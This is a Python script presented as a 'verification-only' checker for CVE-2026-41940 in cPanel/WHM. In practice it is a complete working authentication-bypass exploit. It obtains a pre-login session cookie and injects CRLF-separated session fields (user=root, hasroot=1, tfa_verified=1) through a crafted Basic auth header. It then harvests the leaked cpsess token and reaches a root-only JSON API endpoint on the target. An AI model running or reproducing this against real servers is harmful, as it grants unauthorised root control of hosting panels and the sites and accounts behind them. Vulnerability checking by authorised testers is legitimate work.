verify_cve2026_41940.py

#!/usr/bin/env python3
"""Verification-only script for CVE-2026-41940 using a different Python style."""

import argparse
import base64
import http.client
import re
import ssl
import time
import urllib.parse

FUTURE_TIMESTAMP = int(time.time()) + 10 * 365 * 24 * 3600
RAW_AUTH_PAYLOAD = (
    f"root:x\r\n"
    f"successful_internal_auth_with_timestamp={FUTURE_TIMESTAMP}\r\n"
    f"user=root\r\n"
    f"tfa_verified=1\r\n"
    f"hasroot=1"
).encode("ascii")

PAYLOAD_BASIC = base64.b64encode(RAW_AUTH_PAYLOAD).decode("ascii")

DEFAULT_WHMLISTEN = 2087
USER_AGENT = "CVE-2026-41940-checker/0.1"


class TargetInfo:
    def __init__(self, raw_url):
        parsed = urllib.parse.urlsplit(raw_url)
        self.scheme = parsed.scheme or "https"
        self.host = parsed.hostname
        self.port = parsed.port or DEFAULT_WHMLISTEN

        if not self.host:
            raise ValueError("Target URL must include a host")

    def base_address(self):
        return f"{self.scheme}://{self.host}:{self.port}"


class CPanelHealthCheck:
    def __init__(self, target: TargetInfo):
        self.target = target
        self.session_token = None
        self.cached_path = None
        self.canonical = None

    def _ssl_connection(self):
        context = ssl.create_default_context()
        context.check_hostname = False
        context.verify_mode = ssl.CERT_NONE
        return http.client.HTTPSConnection(self.target.host, self.target.port, context=context, timeout=15)

    def _plain_connection(self):
        return http.client.HTTPConnection(self.target.host, self.target.port, timeout=15)

    def _request(self, method, path, headers=None, body=None):
        headers = headers or {}
        headers.setdefault("User-Agent", USER_AGENT)
        headers.setdefault("Connection", "close")
        if self.canonical:
            headers["Host"] = f"{self.canonical}:{self.target.port}"

        connection = self._ssl_connection() if self.target.scheme == "https" else self._plain_connection()
        connection.request(method, path, body=body, headers=headers)
        response = connection.getresponse()
        payload = response.read().decode("utf-8", errors="replace")
        response_headers = {}
        for k, v in response.getheaders():
            key = k.lower()
            if key in response_headers:
                response_headers[key] += "\n" + v
            else:
                response_headers[key] = v
        connection.close()
        return response.status, response_headers, payload

    def find_canonical_host(self):
        status, headers, _ = self._request("GET", "/openid_connect/cpanelid")
        location = headers.get("location", "")
        match = re.match(r"^https?://([^:/]+)", location)
        self.canonical = match.group(1) if match else self.target.host
        print(f"[0] canonical host resolved to {self.canonical}", flush=True)

    def create_preauth_session(self):
        body = urllib.parse.urlencode({"user": "root", "pass": "wrong"})
        status, headers, _ = self._request(
            "POST",
            "/login/?login_only=1",
            headers={"Content-Type": "application/x-www-form-urlencoded"},
            body=body,
        )

        cookie_header = headers.get("set-cookie", "")
        match = re.search(r"whostmgrsession=([^;]+)", cookie_header)
        if not match:
            debug_info = []
            if cookie_header:
                debug_info.append(f"set-cookie headers:\n{cookie_header}")
            raise RuntimeError(
                f"Failed to obtain whostmgrsession cookie (HTTP {status}). "
                + (" ".join(debug_info) if debug_info else "")
            )

        raw_cookie = urllib.parse.unquote(match.group(1))
        self.session_token = raw_cookie.split(",", 1)[0]
        print(f"[1] preauth session base = {self.session_token}", flush=True)

    def send_injection(self):
        cookie_value = urllib.parse.quote(self.session_token, safe="")
        status, headers, _ = self._request(
            "GET",
            "/",
            headers={
                "Authorization": f"Basic {PAYLOAD_BASIC}",
                "Cookie": f"whostmgrsession={cookie_value}",
            },
        )

        location = headers.get("location", "")
        match = re.search(r"/cpsess\d{10}", location)
        if not match:
            raise RuntimeError(f"Payload injection failed, no token leaked (HTTP {status})")

        self.cached_path = match.group(0)
        print(f"[2] leaked cpsess path = {self.cached_path}", flush=True)

    def activate_cache(self):
        cookie_value = urllib.parse.quote(self.session_token, safe="")
        status, _, body = self._request(
            "GET",
            "/scripts2/listaccts",
            headers={"Cookie": f"whostmgrsession={cookie_value}"},
        )

        if status != 401 or not ("Token denied" in body or "WHM Login" in body):
            raise RuntimeError(f"Cache propagation did not behave as expected (HTTP {status})")

        print(f"[3] token denial triggered, HTTP {status}", flush=True)

    def verify_root_access(self):
        cookie_value = urllib.parse.quote(self.session_token, safe="")
        path = f"{self.cached_path}/json-api/version?api.version=1"
        status, _, body = self._request(
            "GET",
            path,
            headers={"Cookie": f"whostmgrsession={cookie_value}"},
        )

        print(f"[4] verification endpoint returned HTTP {status}", flush=True)
        if status == 200 and '"version"' in body:
            return True
        if status in (500, 503) and "License" in body:
            return True
        return False

    def run_check(self):
        self.find_canonical_host()
        self.create_preauth_session()
        self.send_injection()
        self.activate_cache()
        if self.verify_root_access():
            print("[+] target appears vulnerable to CVE-2026-41940", flush=True)
            return 0
        print("[!] target does not appear vulnerable or verification failed", flush=True)
        return 1


def parse_arguments():
    parser = argparse.ArgumentParser(description="Verify CVE-2026-41940 on a WHM target")
    parser.add_argument("--target", required=True, help="WHM address, e.g. https://host:2087")
    return parser.parse_args()


def main():
    args = parse_arguments()
    target = TargetInfo(args.target)
    checker = CPanelHealthCheck(target)

    try:
        raise SystemExit(checker.run_check())
    except (ValueError, RuntimeError) as error:
        print(f"[!] verification error: {error}", flush=True)
        raise SystemExit(1)
    except Exception as error:
        print(f"[!] unexpected failure: {error}", flush=True)


if __name__ == "__main__":
    main()